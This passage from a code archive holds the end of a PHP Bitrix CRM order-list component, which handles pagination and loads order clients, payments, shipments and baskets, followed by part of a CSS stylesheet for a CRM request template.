                $arOrder['PAYMENT'] = $paymentData[$entityID];
            }

            if (!empty($clientData[$entityID][\CCrmOwnerType::Company])) {
                $arOrder['COMPANY'] = $clientData[$entityID][\CCrmOwnerType::Company];
            }

            if (!empty($clientData[$entityID][\CCrmOwnerType::Contact])) {
                $arOrder['CONTACT'] = $clientData[$entityID][\CCrmOwnerType::Contact];
            }

            if (isset($arOrder['CONTACT'])) {
                $arOrder['CLIENT'] = $arOrder['CONTACT'];
            } elseif (isset($arOrder['COMPANY'])) {
                $arOrder['CLIENT'] = $arOrder['COMPANY'];
            }

            if (in_array('PROPS', $visibleColumns, true)) {
                $arOrder['PROPS'] = $this->loadPropsData($entityID);
            }

            $this->arResult['ORDER'][$entityID] = $arOrder;

            $userActivityID = isset($arOrder['USER_ACTIVITY_ID']) ? intval($arOrder['USER_ACTIVITY_ID']) : 0;
            $commonActivityID = isset($arOrder['C_ACTIVITY_ID']) ? intval($arOrder['C_ACTIVITY_ID']) : 0;
            if ($userActivityID <= 0 && $commonActivityID <= 0) {
                $aclivitylessItems[] = $entityID;
            }

        }
        unset($arOrder);

        if (!empty($aclivitylessItems)) {
            $waitingInfos = \Bitrix\Crm\Pseudoactivity\WaitEntry::getRecentInfos(CCrmOwnerType::Order, $aclivitylessItems);
            foreach ($waitingInfos as $waitingInfo) {
                $entityID = (int)$waitingInfo['OWNER_ID'];
                if (isset($this->arResult['ORDER'][$entityID])) {
                    $this->arResult['ORDER'][$entityID]['WAITING_TITLE'] = $waitingInfo['TITLE'];
                }
            }
        }

        $CCrmUserType->ListAddEnumFieldsValue(
            $this->arResult,
            $this->arResult['ORDER'],
            $this->arResult['ORDER_UF'],
            '<br />',
            false,
            array(
                'FILE_URL_TEMPLATE' =>
                    '/bitrix/components/bitrix/crm.order.details/show_file.php?ownerId=#owner_id#&fieldName=#field_name#&fileId=#file_id#'
            )
        );

        $this->arResult['ENABLE_TOOLBAR'] = isset($this->arParams['ENABLE_TOOLBAR']) ? $this->arParams['ENABLE_TOOLBAR'] : false;
        if ($this->arResult['ENABLE_TOOLBAR']) {
            $this->arResult['PATH_TO_ORDER_ADD'] = CComponentEngine::MakePathFromTemplate(
                $this->arParams['PATH_TO_ORDER_EDIT'],
                array('order_id' => 0)
            );

            $addParams = array();

            if ($this->isInternal && isset($this->arParams['INTERNAL_CONTEXT']) && is_array($this->arParams['INTERNAL_CONTEXT'])) {
                $internalContext = $this->arParams['INTERNAL_CONTEXT'];
                if (isset($internalContext['CONTACT_ID'])) {
                    $addParams['contact_id'] = $internalContext['CONTACT_ID'];
                }
                if (isset($internalContext['COMPANY_ID'])) {
                    $addParams['company_id'] = $internalContext['COMPANY_ID'];
                }
            }

            if (!empty($addParams)) {
                $this->arResult['PATH_TO_ORDER_ADD'] = CHTTP::urlAddParams(
                    $this->arResult['PATH_TO_ORDER_ADD'],
                    $addParams
                );
            }
        }

        $this->arResult['NEED_FOR_REBUILD_ORDER_ATTRS'] =
        $this->arResult['NEED_FOR_REBUILD_ORDER_SEMANTICS'] =
        $this->arResult['NEED_FOR_REBUILD_SEARCH_CONTENT'] =
        $this->arResult['NEED_FOR_BUILD_TIMELINE'] = false;

        if (!$this->isInternal) {
            if (COption::GetOptionString('crm', '~CRM_REBUILD_ORDER_SEARCH_CONTENT', 'N') === 'Y') {
                $this->arResult['NEED_FOR_REBUILD_SEARCH_CONTENT'] = true;
            }

            $this->arResult['NEED_FOR_REFRESH_ACCOUNTING'] = \Bitrix\Crm\Agent\Accounting\OrderAccountSyncAgent::getInstance()->isEnabled();

            /** @var OrderSearchContentRebuildAgent $agent */
            $agent = OrderSearchContentRebuildAgent::getInstance();
            $isAgentEnabled = $agent->isEnabled();
            if ($isAgentEnabled) {
                if (!$agent->isActive()) {
                    $agent->enable(false);
                    $isAgentEnabled = false;
                }
            }
            $arResult['NEED_FOR_REBUILD_SEARCH_CONTENT'] = $isAgentEnabled;

            if (CCrmPerms::IsAdmin()) {
                if (COption::GetOptionString('crm', '~CRM_REBUILD_ORDER_ATTR', 'N') === 'Y') {
                    $this->arResult['PATH_TO_PRM_LIST'] = CComponentEngine::MakePathFromTemplate(COption::GetOptionString('crm', 'path_to_perm_list'));
                    $this->arResult['NEED_FOR_REBUILD_ORDER_ATTRS'] = true;
                }
                if (COption::GetOptionString('crm', '~CRM_REBUILD_ORDER_SEMANTICS', 'N') === 'Y') {
                    $this->arResult['NEED_FOR_REBUILD_ORDER_SEMANTICS'] = true;
                }
            }
        }

        if (!empty($this->errors)) {
            $this->showErrors();
        }

        if ($this->isExportMode()) {
            $this->arResult = array_merge($this->arResult, $this->exportParams);
            $this->IncludeComponentTemplate($this->exportParams['TYPE']);

            return array(
                'PROCESSED_ITEMS' => count($this->arResult['ORDER']),
                'TOTAL_ITEMS' => $this->arResult['STEXPORT_TOTAL_ITEMS']
            );
        }

        $this->IncludeComponentTemplate();
        include_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/components/bitrix/crm.order/include/nav.php');
        return $this->arResult['ROWS_COUNT'];
    }

    /**
     * @return string
     */
    protected function combineGridIdentifier()
    {
        if (isset($this->arParams['GRID_ID']) && is_string($this->arParams['GRID_ID']) && !empty($this->arParams['GRID_ID'])) {
            return $this->arParams['GRID_ID'];
        }
        return 'CRM_ORDER_LIST_V12' . ($this->isInternal && !empty($this->arParams['GRID_ID_SUFFIX']) ? '_' . $this->arParams['GRID_ID_SUFFIX'] : '');
    }

    /**
     * @param array $arNavParams
     * @param array $glFilter
     * @param array $arSelect
     * @param array $runtime
     *
     * @return Main\UI\PageNavigation
     * @throws Main\ArgumentException
     * @throws Main\ObjectPropertyException
     */
    private function getNavigation(array $arNavParams, array $glFilter, array $arSelect, array $runtime)
    {
        $pageNum = 0;
        if ($this->isExportMode() && (int)$this->arParams['STEXPORT_PAGE_SIZE'] > 0) {
            $pageSize = (int)$this->arParams['STEXPORT_PAGE_SIZE'];
        } else {
            $pageSize = (int)(isset($arNavParams['nPageSize']) ? $arNavParams['nPageSize'] : $this->arParams['ORDER_COUNT']);
        }

        $res = Bitrix\Crm\Order\Order::getList(array(
                'filter' => $glFilter,
                'select' => $arSelect,
                'count_total' => true,
                'runtime' => $runtime)
        );

        $total = $res->getCount();

        if (isset($_REQUEST['apply_filter']) && $_REQUEST['apply_filter'] === 'Y') {
            $pageNum = 1;
        } elseif ($pageSize > 0 && (isset($this->arParams['PAGE_NUMBER']) || isset($_REQUEST['page']))) {
            $pageNum = (int)$this->arParams['PAGE_NUMBER'] > 0 ? (int)$this->arParams['PAGE_NUMBER'] : (int)$_REQUEST['page'];
            if ($pageNum < 0) {
                //Backward mode
                $offset = -($pageNum + 1);
                $pageNum = (int)(ceil($total / $pageSize)) - $offset;
                if ($pageNum <= 0) {
                    $pageNum = 1;
                }
            }
        }

        if ($pageNum > 0) {
            if (!isset($_SESSION['CRM_PAGINATION_DATA'])) {
                $_SESSION['CRM_PAGINATION_DATA'] = array();
            }
            $_SESSION['CRM_PAGINATION_DATA'][$this->arResult['GRID_ID']] = array('PAGE_NUM' => $pageNum, 'PAGE_SIZE' => $pageSize);
        } else {
            if (!$this->isInternal
                && !(isset($_REQUEST['clear_nav']) && $_REQUEST['clear_nav'] === 'Y')
                && isset($_SESSION['CRM_PAGINATION_DATA'])
                && isset($_SESSION['CRM_PAGINATION_DATA'][$this->arResult['GRID_ID']])
            ) {
                $paginationData = $_SESSION['CRM_PAGINATION_DATA'][$this->arResult['GRID_ID']];
                if (isset($paginationData['PAGE_NUM'])
                    && isset($paginationData['PAGE_SIZE'])
                    && $paginationData['PAGE_SIZE'] == $pageSize
                ) {
                    $pageNum = (int)$paginationData['PAGE_NUM'];
                }
            }

            if ($pageNum <= 0) {
                $pageNum = 1;
            }
        }
        //endregion

        $nav = new Main\UI\PageNavigation("crm-order-list");
        $nav->allowAllRecords(true)
            ->setPageSize($pageSize)
            ->setCurrentPage($pageNum)
            ->setRecordCount($total)
            ->initFromUri();
        return $nav;
    }

    protected function loadClientData(array $orderIds, bool $needContact, bool $needCompany): array
    {
        if (empty($orderIds) || (!$needCompany && !$needContact)) {
            return [];
        }

        $result = [];
        $runtime = [];
        $select = ['*'];

        if ($needCompany) {
            $runtime[] = new Main\Entity\ReferenceField(
                'COMPANY',
                \Bitrix\Crm\CompanyTable::class,
                [
                    '=this.ENTITY_ID' => 'ref.ID',
                    '=this.ENTITY_TYPE_ID' => new Main\DB\SqlExpression('?i', \CCrmOwnerType::Company)
                ],
                [
                    'join_type' => 'LEFT'
                ]
            );

            $select['COMPANY_TITLE'] = 'COMPANY.TITLE';
        }

        if ($needContact) {
            $runtime[] = new Main\Entity\ReferenceField(
                'CONTACT',
                \Bitrix\Crm\ContactTable::class,
                [
                    '=this.ENTITY_ID' => 'ref.ID',
                    '=this.ENTITY_TYPE_ID' => new Main\DB\SqlExpression('?i', \CCrmOwnerType::Contact)
                ],
                [
                    'join_type' => 'LEFT'
                ]
            );

            $select['CONTACT_FULL_NAME'] = 'CONTACT.FULL_NAME';
            $select['CONTACT_COMPANY_TITLE'] = 'CONTACT.COMPANY.TITLE';
        }

        $res = Order\ContactCompanyCollection::getList([
            'filter' => [
                '=ORDER_ID' => $orderIds,
                '=IS_PRIMARY' => 'Y',
            ],
            'runtime' => $runtime,
            'select' => $select
        ]);

        while ($row = $res->fetch()) {
            $item = [
                'ENTITY_TYPE_ID' => $row['ENTITY_TYPE_ID'],
                'ENTITY_ID' => $row['ENTITY_ID'],
                'PREFIX' => 'ORDER_' . $row['ORDER_ID'],
            ];

            if ((int)$row['ENTITY_TYPE_ID'] === \CCrmOwnerType::Contact) {
                $item['TITLE'] = $row['CONTACT_FULL_NAME'];
                $item['DESCRIPTION'] = $row['CONTACT_COMPANY_TITLE'];
            } elseif ((int)$row['ENTITY_TYPE_ID'] === \CCrmOwnerType::Company) {
                $item['TITLE'] = $row['COMPANY_TITLE'];
            } else {
                continue;
            }

            if (!isset($result[$row['ORDER_ID']])) {
                $result[$row['ORDER_ID']] = [];
            }

            $result[$row['ORDER_ID']][$row['ENTITY_TYPE_ID']] = $item;
        }

        return $result;
    }

    protected function loadPaymentData(array $orderIds): array
    {
        if (empty($orderIds)) {
            return [];
        }

        $result = [];
        $urlTemplate = '/shop/orders/payment/details/#PAYMENT_ID#/';

        $res = Order\Payment::getList(array(
            'order' => array('ID' => 'ASC'),
            'filter' => array('ORDER_ID' => $orderIds)
        ));

        while ($item = $res->fetch()) {
            $item['URL'] = str_replace(
                '#PAYMENT_ID#',
                $item['ID'],
                $urlTemplate
            );

            $item['SUM'] = SaleFormatCurrency($item["SUM"], $item["CURRENCY"]);
            $result[$item['ORDER_ID']][] = $item;
        }

        return $result;
    }

    protected function loadShipmentData(array $orderIds): array
    {
        if (empty($orderIds)) {
            return [];
        }

        $result = [];
        $urlTemplate = '/shop/orders/shipment/details/#SHIPMENT_ID#/?order_id=#ORDER_ID#';

        $dbItemsList = Order\Shipment::getList([
            'order' => ['ID' => 'ASC'],
            'filter' => ['ORDER_ID' => $orderIds, '!=SYSTEM' => 'Y'],
            'select' => [
                '*',
                'ORDER_SITE_ID' => 'ORDER.LID'
            ]
        ]);

        while ($item = $dbItemsList->fetch()) {
            $item['DELIVERY_NAME'] = htmlspecialcharsbx($item['DELIVERY_NAME']);
            $item['STATUS'] = $this->getShipmentStatus($item['STATUS_ID'], LANGUAGE_ID);
            $item['PRICE_DELIVERY'] = SaleFormatCurrency($item["PRICE_DELIVERY"], $item["CURRENCY"]);
            $item['URL'] = str_replace(
                ['#SHIPMENT_ID#', '#ORDER_ID#'],
                [$item['ID'], $item['ORDER_ID']],
                $urlTemplate
            );
            $item['WEIGHT'] = $this->getReadableWeight((float)$item['WEIGHT'], 1, $item['ORDER_SITE_ID']);
            $result[$item['ORDER_ID']][] = $item;
        }

        return $result;
    }

    protected function getShipmentStatus(string $statusId, string $lang)
    {
        if ($statusId == '') {
            return '';
        }

        static $data = null;

        if ($data === null) {
            $data = $this->loadShipmentStatusData($lang);
        }

        return isset($data[$statusId]) ? $data[$statusId] : '';
    }

    protected function loadShipmentStatusData(string $lang)
    {
        if ($lang == '') {
            return [];
        }

        $result = [];

        $dbRes = Order\DeliveryStatus::getList([
            'select' => ['ID', 'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME'],
            'filter' => [
                '=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => $lang
            ],
        ]);

        while ($shipmentStatus = $dbRes->fetch()) {
            $result[$shipmentStatus["ID"]] = $shipmentStatus["NAME"] . " [" . $shipmentStatus["ID"] . "]";
        }

        return $result;
    }

    /**
     * @param int[] $orderIds
     * @return array
     * @throws Main\ArgumentException
     * @throws Main\ObjectPropertyException
     * @throws Main\SystemException
     * Notice: we suggest that iblock module was included with catalog module
     */
    protected function loadBasketData(array $orderIds): array
    {
        if (empty($orderIds)) {
            return [];
        }

        $result = [];
        $basketItems = [];
        $dbItemsList = Order\Basket::getList(array(
            'order' => ['ID' => 'ASC'],
            'filter' => ['=ORDER_ID' => $orderIds],
            'select' => [
                '*',
                'ORDER_SITE_ID' => 'ORDER.LID',
                'PRODUCT__ID' => 'PRODUCT.ID',
                'IBLOCK_ID' => 'PRODUCT.IBLOCK.IBLOCK_ID',
                'IBLOCK_SECTION_ID' => 'PRODUCT.IBLOCK.IBLOCK_SECTION_ID'
            ]
        ));

        while ($item = $dbItemsList->fetch()) {
            $item['NAME'] = htmlspecialcharsbx($item['NAME']);

            $item['EDIT_PAGE_URL'] = '';

            if ((int)$item['IBLOCK_ID'] > 0 && (int)$item['PRODUCT__ID'] > 0) {
                $this->urlBuilder->setIblockId((int)$item['IBLOCK_ID']);
                $item['EDIT_PAGE_URL'] = $this->urlBuilder->getElementDetailUrl(
                    (int)$item['PRODUCT__ID'],
                    [
                        'find_section_section' => (int)$item['IBLOCK_SECTION_ID'] > 0 ? (int)$item['IBLOCK_SECTION_ID'] : 0,
                        'WF' => 'Y'
                    ]
                );
            }

            $item['PRICE'] = SaleFormatCurrency($item['PRICE'], $item['CURRENCY']);
            $measure = isset($arItem["MEASURE_NAME"]) ? $item["MEASURE_NAME"] : Loc::getMessage("CRM_ORDER_LIST_DEFAULT_MEASURE");
            $item['WEIGHT'] = $this->getReadableWeight((float)$item['WEIGHT'], (float)$item['QUANTITY'], $item['ORDER_SITE_ID']);
            $item["QUANTITY"] = htmlspecialcharsbx(Order\BasketItem::formatQuantity($item["QUANTITY"])) . " " . htmlspecialcharsbx($measure);
            $item["PROPS"] = [];
            $basketItems[$item['ID']] = $item;
        }

        if (!empty($basketItems)) {
            $basketItemsIds = array_keys($basketItems);
            $propertyItemRaw = Order\BasketPropertyItem::getList([
                'filter' => [
                    '=BASKET_ID' => $basketItemsIds,
                    "!CODE" => ["CATALOG.XML_ID", "PRODUCT.XML_ID"]
                ]
            ]);
            while ($propertyItem = $propertyItemRaw->fetch()) {
                $basketItems[$propertyItem['BASKET_ID']]['PROPS'][] = $propertyItem;
            }

            foreach ($basketItems as $item) {
                if (!is_array($result[$item['ORDER_ID']])) {
                    $result[$item['ORDER_ID']] = [];
                }

                $result[$item['ORDER_ID']][] = $item;
            }
        }

        return $result;
    }

    protected function getReadableWeight(float $weight, float $quantity, string $orderSiteId)
    {
        if ($weight <= 0) {
            return '';
        }

        $siteData = $this->getSiteData($orderSiteId);

        $result = $weight;

        if ((float)$siteData['WEIGHT_KOEF'] > 0) {
            $result = (float)($weight / $siteData['WEIGHT_KOEF']);
        }

        if ((float)($quantity) > 0) {
            $result *= $quantity;
        }

        $weightUnit = isset($siteData['WEIGHT_UNIT']) ? ' ' . $siteData['WEIGHT_UNIT'] : '';
        return htmlspecialcharsbx(roundEx($result, SALE_WEIGHT_PRECISION) . $weightUnit);
    }

    protected function getSiteData(string $siteId)
    {
        static $data = null;

        if ($data === null) {
            $data = $this->loadSiteData();
        }

        return $data[$siteId] ? $data[$siteId] : [];
    }

    protected function loadSiteData()
    {
        $result = [];
        $dbRes = Main\SiteTable::getList();

        while ($row = $dbRes->fetch()) {
            $serverName = $row['SERVER_NAME'];

            if ($serverName == '') {
                if (defined('SITE_SERVER_NAME') && SITE_SERVER_NAME <> '')
                    $serverName = SITE_SERVER_NAME;
                else
                    $serverName = \Bitrix\Main\Config\Option::get('main', 'server_name', '');
            }

            $result[$row['LID']] = [
                'SERVER_NAME' => $serverName,
                'WEIGHT_UNIT' => htmlspecialcharsbx(\Bitrix\Main\Config\Option::get('sale', 'weight_unit', '', $row['LID'])),
                'WEIGHT_KOEF' => htmlspecialcharsbx(\Bitrix\Main\Config\Option::get('sale', 'weight_koef', 1, $row['LID']))
            ];
        }

        return $result;
    }

    //todo: for all by one query
    protected function loadPropsData(int $orderId)
    {
        if ($orderId <= 0) {
            return [];
        }

        if (!($propOrder = $this->loadOrder($orderId))) {
            return [];
        }

        if (!($collection = $propOrder->getPropertyCollection())) {
            return [];
        }

        $result = [];

        foreach ($collection->getGroups() as $group) {
            $items = [];

            /** @var Order\PropertyValue $property */
            foreach ($collection->getPropertiesByGroupId($group['ID']) as $property) {
                if (!($propertyValue = $property->getValue())) {
                    continue;
                }

                $items[] = [
                    'NAME' => htmlspecialcharsbx($property->getName()),
                    'VALUE' => $property->getViewHtml()
                ];
            }

            if (!empty($items)) {
                $result[] = [
                    'NAME' => htmlspecialcharsbx($group['NAME']),
                    'ITEMS' => $items
                ];
            }
        }

        return $result;
    }

    protected function getOrder(int $orderId)
    {
        $orders = [];

        if (!isset($orders[$orderId])) {
            $orders[$orderId] = $this->loadOrder($orderId);
        }

        return $orders[$orderId];

    }

    protected function loadOrder(int $orderId)
    {
        return Order\Order::load($orderId);
    }
}


components/dellindev/crm.dellin.request/templates/.default/style.css000064400000052630151760651320022003 0ustar00.crm-doc {
	display: block;
	overflow: hidden;
	font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;
	color: #49515a;
}

.crm-doc-head {
	clear: both;
	display: block;
	overflow: hidden;
	padding: 0 0 30px 50px;
}

.crm-doc-title {
	clear: both;
	display: block;
	width: 100%;
	font-size: 17px;
	line-height: 5px;
	font-weight: bold;
	color: #525c68;
	margin: 0 0 15px 0;
	color: #0069c4;
	text-decoration: none;
}

.crm-doc-title:before {
	content: '';
	display: inline-block;
	vertical-align: middle;
	width: 40px;
	height: 40px;
	margin: 0 5px 0 -45px;
	background: url('/bitrix/js/crm/images/crm-control-panel-sprite-25.png?v2');
	background-position: center -3868px;
}

.crm-doc-info {
	clear: both;
	display: block;
}

.crm-doc-info-progress {
	display: inline-block;
	max-width: 180px;
}

.crm-doc-info-progressbar {
	display: block;
	overflow: hidden;
	height: 6px;
	background: #eef2f5;
	margin: 3px 0 5px 0;
	-webkit-border-radius: 10px;
	-moz-border-radius: 10px;
	border-radius: 10px;
}

.crm-doc-info-progressbar-indikator {
	display: block;
	overflow: hidden;
	background: #b0d539;
	height: 6px;
	-webkit-border-radius: 10px;
	-moz-border-radius: 10px;
	border-radius: 10px;
}

.crm-doc-info-text {
	font-size: 11px;
	color: #8e9ca3;
	line-height: normal;
	margin: 0 0 10px 0;
}

.crm-doc-title-gray {color: #49515a}
.crm-doc-bold {font-weight: bold}
.crm-doc-gray {color: #49515a}

.crm-doc-info-responsible {
	display: inline-block;
	vertical-align: top;
	padding: 0 0 0 35px;
}

.crm-doc-info-param {
	clear: both;
	display: block;
	margin: 10px 0 5px 0;
}

.crm-doc-table {
	font-size:12px;
	color: #80868e;
	line-height: 20px;
	border-spacing: 0;
}

.crm-doc-table td:first-child {
	color: #8e9ca3;
	padding: 0 10px 0 0;
}

.crm-doc-cart {
	clear: both;
	display: flex;
	overflow: hidden;
	background: #fff;
	border: 1px solid #e3e3e3;
	padding: 17px 145px 17px 20px;
	position: relative;
	font-size: 12px;
	color: #80868e;
	margin: 0 0 10px 0;
	flex-flow: wrap;
}

.crm-tree-active {
	background: #f5f8f9;
}

.crm-doc-cart:before {
	content: '';
	position: absolute;
	left: 0;
	top: 0;
	bottom: 0;
	width: 6px;
	background: #f5f8f9;
}

.crm-doc-cart-user {
	display: -webkit-box;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-align: start;
	-ms-flex-align: start;
	align-items: flex-start;
	align-content: stretch;
	-webkit-box-flex: 1;
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	max-width: 270px;
	min-width: 180px;
}

.crm-doc-cart-contact {
	align-content: stretch;
	-webkit-box-flex: 1;
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	max-width: 300px;
	min-width: 300px;
}

.crm-doc-cart-contact td {
	vertical-align: top;
	padding-bottom: 5px;
}

.crm-doc-cart-contact tr:last-child td {
	padding-bottom: 0;
}

.crm-doc-cart-contact td:first-child {
	padding: 0 10px 0 0;
}

.crm-doc-cart-create {
	-webkit-box-flex: 1;
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	white-space: nowrap;
	overflow: hidden;
}

.crm-doc-cart-user-name {
	display: block;
	overflow: hidden;
	font-weight: bold;
	font-size: 14px;
	margin: 6px 0;
	color: #2b7bbc;
}

.crm-doc-three-title {
	font-weight: bold;
	font-size: 14px;
	color: #525c68;
	line-height: 24px;
	text-align: left;
	margin: 0 0 15px 0;
}

.crm-doc-cart-company-avatar,
.crm-doc-cart-user-avatar {
	-webkit-box-flex: 1;
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	max-width: 35px;
	height: 35px;
	min-height: 35px;
	max-height: 35px;
	margin: -3px 0 0 -15px;
	background: url('/bitrix/components/bitrix/crm.entity.tree/templates/.default/images/sprite.png') no-repeat #fff;
	border: 1px solid #80868e;
	background-position: center -326px;
	-webkit-border-radius: 100%;
	-moz-border-radius: 100%;
	border-radius: 100%;
}

.crm-doc-cart-company-avatar {
	background-position: center -268px;
}

.crm-doc-cart-user-info {
	-webkit-box-flex: 1;
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	padding: 0 0 0 15px;
}

.crm-doc-cart-title {
	display: block;
	font-weight: bold;
	font-size: 12px;
	color: #2b7bbc;
	line-height: 18px;
	margin: 0 0 10px 0;
	position: relative;
}

.crm-doc-cart-title:before {
	content: '';
	position: absolute;
	left: -32px;
	top: -7px;
	width: 30px;
	height: 30px;
	background: url(/bitrix/components/bitrix/crm.entity.tree/templates/.default/images/sprite.png?v2) no-repeat;
}

.crm-doc-cart-title-sentence:before		{background-position: 0 -90px}
.crm-doc-cart-title-deal:before			{background-position: 0 -60px}
.crm-doc-cart-title-invoice:before		{background-position: 0 -30px}

.crm-doc-ul {
	list-style: none;
	padding: 0;
	margin: 0 0 0 25px;
}

.crm-doc-ul-li {
	margin: -1px 0 0  0;
}

.crm-doc-three > .crm-doc-ul {
	margin: 0;
	padding: 1px 0 0 0;
}

.crm-doc-ul-li .crm-doc-cart {
	display: -webkit-box;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	padding: 17px 20px 17px 45px;
	margin: 0;
}

.crm-doc-ul-li .crm-doc-cart-top {
	padding: 15px 20px 15px 60px;
}

.crm-doc-cart-info {
	-webkit-box-flex: 1;
	-webkit-flex: 1;
	-ms-flex: 1;
	flex: 1;
	padding: 0 20px 0 0;
}

.crm-doc-info-table {
	table-layout: fixed;
	width: 100%;
	font-size: 12px;
	color: #80868e;
	border-spacing: 0;
	line-height: 18px;
	margin: 9px 0 0 -2px;
}

.crm-doc-info-table-1 {
	max-width: 80px;
}

.crm-doc-info-table-2 {
	max-width: 100px;
}

.crm-doc-info-table td {
	white-space: nowrap;
	overflow: hidden;
	-ms-text-overflow: ellipsis;
	text-overflow: ellipsis;
}

.crm-doc-info-table td:first-child {
	color: #8e9ca3;
}

.crm-doc-drop {
	clear: both;
	display: block;
	margin: 0 0 10px 0;
}

.crm-doc-drop-link {
	display: inline-block;
	font-size: 13px;
	color: #8e9ca3;
	line-height: 16px;
	cursor: pointer;
}

.crm-doc-drop-link-border {
	display: inline-block;
	color: #535c69;
	border-bottom: 1px dashed #535c69;
}

.crm-doc-drop-open .crm-doc-drop-link-border {
	border-bottom: 1px dashed transparent;
	-webkit-transition: .1s;
	-moz-transition: .1s;
	transition: .1s;
}

.crm-doc-drop-link-number {
	display: inline-block;
	opacity: 1;
	-webkit-transform: scale3d(1, 1, 1);
	transform: scale3d(1, 1, 1);
	-webkit-transition: .3s;
	-moz-transition: .3s;
	transition: .3s;
}

.crm-doc-drop-open .crm-doc-drop-link-number {
	opacity: 0;
	-webkit-transform: scale3d(.4, .4, 1);
	transform: scale3d(.4, .4, 1);
}

.crm-doc-drop-open .crm-doc-drop-link-border:hover {
	border-bottom: 1px dashed #535c69;
}

.crm-doc-droplist {
	margin: 0;
	padding: 0;
	opacity: 0;
	list-style: none;
	overflow: hidden;
	-webkit-transition: .3s;
	-moz-transition: .3s;
	transition: .3s;
}

.crm-doc-info .crm-doc-drop {
}

.crm-doc-ul-li .crm-doc-drop {
	padding: 0;
}

.crm-doc-drop-open .crm-doc-droplist {
	opacity: 1;
}

.crm-doc-droplist-wrapper {
	overflow: hidden;
	height: 0;
	clear: both;
	display: block;
	overflow: hidden;
	-webkit-transition: .3s;
	-moz-transition: .3s;
	transition: .3s;
}

.crm-doc-droplist-wrapper > .crm-doc-ul {
	padding: 15px 0 0 0;
	margin: 0;
}

.crm-doc-droplist-item:first-child {
	margin: 10px 0 0 0;
}

.crm-doc-droplist-item {
	padding: 7px 7px 7px 15px;
	position: relative;
	background: #fff;
	border: 1px solid #e3e3e3;
	position: relative;
	color: #80868e;
	line-height: 24px;
	opacity: 0;
	margin: -1px 0 0 0;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.crm-doc-droplist-item:last-child {
	margin: -1px 0 10px 0;
}

.crm-doc-droplist-item:before {
	content: '';
	width: 20px;
	height: 20px;
	display: inline-block;
	vertical-align: middle;
	background-position: center center;
	background-repeat: no-repeat;
	margin: 0 7px 0 0;
	/*background: url(/bitrix/components/bitrix/crm.entity.tree/templates/.default/images/sprite.png?v2) no-repeat;*/
}

.crm-doc-droplist-item:after {
	content: '';
	position: absolute;
	left: 0;
	top: 0;
	bottom: 0;
	width: 6px;
	background: #f5f8f9;
}

.crm-doc-cart-contact-item-email,
.crm-doc-cart-contact-item-phone {
	line-height: 18px;
}

.crm-doc-cart-contact-item-email:after,
.crm-doc-cart-contact-item-phone:after {
	content: '';
	display: inline-block;
	vertical-align: top;
	margin: 4px 0 0 4px;
	width: 10px;
	height: 10px;
	background-size: 100% 100%;
	background-repeat: no-repeat;
}

.crm-doc-cart-contact-item-email:after {
	background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/PjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDE0IDE0IiBzdHlsZT0iZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCAxNCAxNDsiIHhtbDpzcGFjZT0icHJlc2VydmUiID48Zz48Zz48cGF0aCBkPSJNNyw5TDUuMjY4LDcuNDg0bC00Ljk1Miw0LjI0NUMwLjQ5NiwxMS44OTYsMC43MzksMTIsMS4wMDcsMTJoMTEuOTg2ICAgIGMwLjI2NywwLDAuNTA5LTAuMTA0LDAuNjg4LTAuMjcxTDguNzMyLDcuNDg0TDcsOXoiIGZpbGw9IiM4ODlhYWMiLz48cGF0aCBkPSJNMTMuNjg0LDIuMjcxQzEzLjUwNCwyLjEwMywxMy4yNjIsMiwxMi45OTMsMkgxLjAwN0MwLjc0LDIsMC40OTgsMi4xMDQsMC4zMTgsMi4yNzNMNyw4ICAgIEwxMy42ODQsMi4yNzF6IiBmaWxsPSIjODg5YWFjIi8+PHBvbHlnb24gcG9pbnRzPSIwLDIuODc4IDAsMTEuMTg2IDQuODMzLDcuMDc5ICAgIiBmaWxsPSIjODg5YWFjIi8+PHBvbHlnb24gcG9pbnRzPSI5LjE2Nyw3LjA3OSAxNCwxMS4xODYgMTQsMi44NzUgICAiIGZpbGw9IiM4ODlhYWMiLz48L2c+PC9nPjwvc3ZnPg==);
}

.crm-doc-cart-contact-item-phone:after {
	margin: 3px 0 0 4px;
